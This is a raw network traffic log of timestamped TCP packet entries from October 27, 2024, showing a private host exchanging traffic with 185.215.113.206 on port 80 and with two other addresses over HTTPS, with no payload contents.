Oct 27, 2024 17:54:39.355093956 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.355106115 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.355119944 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.355129957 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.355129957 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.355134010 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.355143070 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.355161905 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.355179071 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.355384111 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.355396986 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.355407953 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.355444908 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.355468035 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.371491909 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.371504068 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.371516943 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.371542931 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.371555090 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.371553898 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.371579885 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.371592999 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.371603966 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.371608019 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.371618986 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.371623993 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.371637106 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.371648073 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.371682882 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.389580011 CET	49901	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:39.389638901 CET	443	49901	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:39.390322924 CET	49899	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:39.390345097 CET	443	49899	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:39.390686035 CET	49902	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:39.390701056 CET	443	49902	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:39.401853085 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.401882887 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.401904106 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.401905060 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.401917934 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.401925087 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.401937962 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.401946068 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.401957035 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.401959896 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.401972055 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.401983023 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.401984930 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.402008057 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.402038097 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.402048111 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.402060032 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.402090073 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.402112007 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.413239956 CET	443	49909	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:39.413324118 CET	49909	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:39.413336992 CET	443	49909	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:39.413402081 CET	443	49909	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:39.413567066 CET	49909	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:39.447264910 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.447288990 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.447302103 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.447323084 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.447335005 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.447350979 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.447402954 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.475261927 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.475332975 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.475347996 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.475382090 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.475404024 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.475428104 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.475434065 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.475467920 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.475477934 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.475521088 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.475563049 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.475595951 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.475605965 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.475649118 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.475666046 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.480185032 CET	49909	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:39.480205059 CET	443	49909	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:39.491756916 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.491780043 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.491791010 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.491815090 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.491816998 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.491837978 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.491842985 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.491856098 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.491895914 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.491904020 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.491918087 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.491930008 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.491941929 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.491962910 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.491990089 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.520483971 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.520498037 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.520509005 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.520566940 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.520602942 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.522061110 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.522087097 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.522099018 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.522110939 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.522123098 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.522124052 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.522135973 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.522145033 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.522146940 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.522159100 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.522171021 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.522182941 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.522203922 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.522218943 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.522239923 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.567327976 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.567382097 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.567403078 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.567405939 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.567420959 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.567429066 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.567433119 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.567445040 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.567446947 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.567467928 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.567486048 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.595439911 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.595463037 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.595480919 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.595495939 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.595509052 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.595513105 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.595542908 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.595542908 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.595576048 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.595592022 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.595607996 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.595608950 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.595607996 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.595623970 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.595642090 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.595653057 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.611681938 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.611718893 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.611732960 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.611747980 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.611761093 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.611799955 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.611810923 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.611854076 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.611891985 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.611906052 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.611924887 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.611963987 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.611985922 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.612015963 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.612032890 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.612047911 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.612056017 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.612063885 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.612103939 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.612133026 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.627217054 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.627445936 CET	49914	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.627480030 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.628909111 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.628973961 CET	49914	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.629930019 CET	49914	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.630021095 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.630099058 CET	49914	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.630116940 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.640508890 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.640537024 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.640561104 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.640566111 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.640578032 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.640599966 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.640599966 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.640604019 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.640615940 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.640642881 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.642087936 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.642111063 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.642127991 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.642141104 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.642148018 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.642162085 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.642169952 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.642196894 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.642199993 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.642216921 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.642237902 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.642246008 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.642260075 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.642273903 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.642297983 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.642903090 CET	443	49913	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.643105984 CET	49913	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.643115997 CET	443	49913	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.643697023 CET	443	49913	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.644174099 CET	49913	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.644335985 CET	49913	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.644347906 CET	443	49913	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.644498110 CET	443	49913	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.645190954 CET	443	49916	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.645381927 CET	49916	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.645445108 CET	443	49916	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.647085905 CET	443	49912	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.647295952 CET	49912	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.647339106 CET	443	49912	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.647546053 CET	443	49916	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.647605896 CET	49916	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.647898912 CET	443	49917	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.648371935 CET	49916	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.648511887 CET	443	49916	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.648530006 CET	49917	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.648544073 CET	443	49917	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.648720026 CET	49916	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.648741961 CET	443	49916	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.649359941 CET	443	49912	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.649425983 CET	49912	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.649672031 CET	443	49917	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.649723053 CET	49917	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.649810076 CET	49912	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.649933100 CET	49912	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.649943113 CET	443	49912	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.650192976 CET	49917	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.650285959 CET	443	49917	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.650981903 CET	49917	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.650991917 CET	443	49917	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.651158094 CET	443	49915	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.651346922 CET	49915	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.651356936 CET	443	49915	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.652417898 CET	443	49915	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.652481079 CET	49915	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.652750969 CET	49915	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.652815104 CET	443	49915	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.652863026 CET	49915	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.652869940 CET	443	49915	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.687937975 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.687983990 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.688005924 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.688009977 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.688028097 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.688045025 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.688045025 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.688082933 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.691342115 CET	443	49912	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.715485096 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.715509892 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.715528011 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.715543985 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.715552092 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.715559959 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.715578079 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.715596914 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.715646029 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.715790987 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.715806007 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.715821981 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.715838909 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.715871096 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.731903076 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.731977940 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.731983900 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.732023954 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.732026100 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.732060909 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.732065916 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.732089043 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.732104063 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.732105970 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.732120991 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.732130051 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.732150078 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.732158899 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.732173920 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.732176065 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.732211113 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.732215881 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.732232094 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.732244968 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.732259989 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.732270002 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.732283115 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.732323885 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.742255926 CET	49913	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.742429018 CET	49915	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.742430925 CET	49916	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.760632992 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.760647058 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.760716915 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.760716915 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.760731936 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.760747910 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.760755062 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.760762930 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.760782003 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.760806084 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.762192011 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.762232065 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.762288094 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.762301922 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.762342930 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.762342930 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.762360096 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.762376070 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.762382030 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.762392044 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.762408018 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.762408018 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.762423038 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.762442112 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.762470007 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.771632910 CET	49914	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.771634102 CET	49912	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.771662951 CET	443	49912	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.771699905 CET	49917	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.773524046 CET	443	49913	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.773557901 CET	443	49913	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.773607969 CET	49913	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.773623943 CET	443	49913	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.774363995 CET	443	49913	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.774462938 CET	49913	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.775542021 CET	49913	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.775556087 CET	443	49913	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.775567055 CET	49913	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.775604963 CET	49913	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.776499987 CET	49924	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.776532888 CET	443	49924	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.776659012 CET	49924	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.777523041 CET	49924	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.777538061 CET	443	49924	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.779664040 CET	443	49916	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.779839993 CET	443	49916	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.779897928 CET	49916	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.780234098 CET	443	49912	23.47.50.137	192.168.2.5
